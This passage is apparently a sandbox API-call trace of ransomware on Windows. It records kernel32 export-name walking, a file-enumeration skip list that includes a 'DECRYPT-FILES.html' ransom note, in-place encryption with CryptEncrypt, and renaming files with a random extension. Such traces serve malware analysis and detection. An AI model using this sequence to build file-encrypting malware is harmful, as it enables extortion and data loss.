returned="ContinueDebugEvent" [0147.304] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0147.304] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0147.304] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0147.304] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0147.304] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0147.304] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0147.304] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0147.304] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0147.304] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0147.304] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0147.304] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0147.304] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0147.304] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0147.304] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0147.304] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0147.304] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0147.304] lstrlenA (lpString="COPYCONTEXT") returned 11 [0147.304] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0147.305] lstrlenA (lpString="COPYFILE2") returned 9 [0147.305] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0147.305] lstrlenA (lpString="COPYFILEA") returned 9 [0147.305] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0147.305] lstrlenA (lpString="COPYFILEEXA") returned 11 [0147.305] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0147.305] lstrlenA (lpString="COPYFILEEXW") returned 11 [0147.305] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0147.305] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0147.305] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0147.305] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0147.305] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0147.305] lstrlenA (lpString="COPYFILEW") returned 9 [0147.305] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0147.305] lstrlenA (lpString="COPYLZFILE") returned 10 [0147.305] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0147.305] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0147.305] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0147.305] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0147.305] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0147.305] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0147.305] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0147.305] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0147.305] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0147.305] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0147.305] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0147.305] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0147.305] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0147.305] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0147.305] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0147.305] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0147.305] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0147.305] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0147.305] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0147.305] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0147.305] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0147.305] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0147.306] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0147.306] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0147.306] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0147.306] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0147.306] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0147.306] lstrlenA (lpString="CREATEEVENTA") returned 12 [0147.306] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0147.306] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0147.306] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0147.306] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0147.306] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0147.306] lstrlenA (lpString="CREATEEVENTW") returned 12 [0147.306] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0147.306] lstrlenA (lpString="CREATEFIBER") returned 11 [0147.306] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0147.306] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0147.306] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0147.306] lstrlenA (lpString="CREATEFILE2") returned 11 [0147.306] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0147.306] lstrlenA (lpString="CREATEFILEA") returned 11 [0147.306] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0147.306] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0147.306] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0147.306] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0147.306] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0147.306] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0147.306] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0147.306] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0147.306] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0147.306] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0147.306] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0147.306] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0147.306] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0147.306] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0147.306] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0147.306] lstrlenA (lpString="CREATEFILEW") returned 11 [0147.306] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0147.307] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0147.307] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0147.307] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0147.307] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0147.307] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0147.307] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0147.307] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0147.307] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0147.307] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0147.307] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0147.307] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0147.307] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0147.307] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0147.307] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0147.307] lstrlenA (lpString="CREATEJOBSET") returned 12 [0147.307] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0147.307] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0147.307] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0147.307] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0147.307] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0147.307] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0147.307] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0147.307] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0147.307] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0147.307] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0147.307] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0147.307] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0147.307] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0147.307] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0147.307] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0147.307] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0147.307] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0147.307] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0147.307] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0147.307] lstrlenA (lpString="CREATEPIPE") returned 10 [0147.307] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0147.307] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0147.308] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0147.308] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0147.308] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0147.308] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0147.308] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0147.308] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0147.308] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0147.308] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0147.308] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0147.308] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0147.308] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0147.308] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0147.308] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0147.308] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0147.308] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0147.308] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0147.308] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0147.308] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0147.308] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0147.308] lstrlenA (lpString="CREATETHREAD") returned 12 [0147.308] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0147.309] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0147.309] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0147.309] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0147.309] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0147.309] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0147.309] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0147.309] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0147.309] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0147.309] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0147.309] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0147.309] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0147.309] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0147.309] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0147.309] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0147.309] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.aABhQfZ") returned 50 [0147.309] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.aABhQfZ" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.aabhqfz"), dwFlags=0x0) returned 1 [0147.310] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.310] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.310] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.311] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0147.311] lstrcmpiW (lpString1="Rotate2.ico", lpString2="DECRYPT-FILES.html") returned 1 [0147.311] lstrcmpiW (lpString1="Rotate2.ico", lpString2="autorun.inf") returned 1 [0147.311] lstrcmpiW (lpString1="Rotate2.ico", lpString2="boot.ini") returned 1 [0147.311] lstrcmpiW (lpString1="Rotate2.ico", lpString2="desktop.ini") returned 1 [0147.311] lstrcmpiW (lpString1="Rotate2.ico", lpString2="ntuser.dat") returned 1 [0147.311] lstrcmpiW (lpString1="Rotate2.ico", lpString2="iconcache.db") returned 1 [0147.311] lstrcmpiW (lpString1="Rotate2.ico", lpString2="bootsect.bak") returned 1 [0147.311] lstrcmpiW (lpString1="Rotate2.ico", lpString2="ntuser.dat.log") returned 1 [0147.311] lstrcmpiW (lpString1="Rotate2.ico", lpString2="thumbs.db") returned -1 [0147.311] lstrcmpiW (lpString1="Rotate2.ico", lpString2="Bootfont.bin") returned 1 [0147.311] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\") returned 31 [0147.311] lstrlenW (lpString="Rotate2.ico") returned 11 [0147.311] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Graphics\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\" [0147.311] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Rotate2.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" [0147.311] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0147.311] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0147.329] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=894) returned 1 [0147.329] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0147.329] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0147.488] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0147.488] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0147.488] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0147.489] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0147.489] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0147.489] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.489] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0147.489] CloseHandle (hObject=0x5f8) returned 1 [0147.489] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.490] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0147.491] CloseHandle (hObject=0x0) returned 0 [0147.491] CloseHandle (hObject=0x5f4) returned 1 [0147.491] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.492] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.492] GetTickCount () returned 0x3a24c [0147.492] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0147.492] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0147.493] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0147.493] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0147.493] lstrlenA (lpString="kernel32.dll") returned 12 [0147.493] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0147.493] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0147.493] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0147.493] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0147.493] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0147.493] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0147.494] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0147.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0147.494] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0147.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0147.494] lstrlenA (lpString="ADDATOMA") returned 8 [0147.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0147.494] lstrlenA (lpString="ADDATOMW") returned 8 [0147.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0147.494] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0147.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0147.494] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0147.494] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" 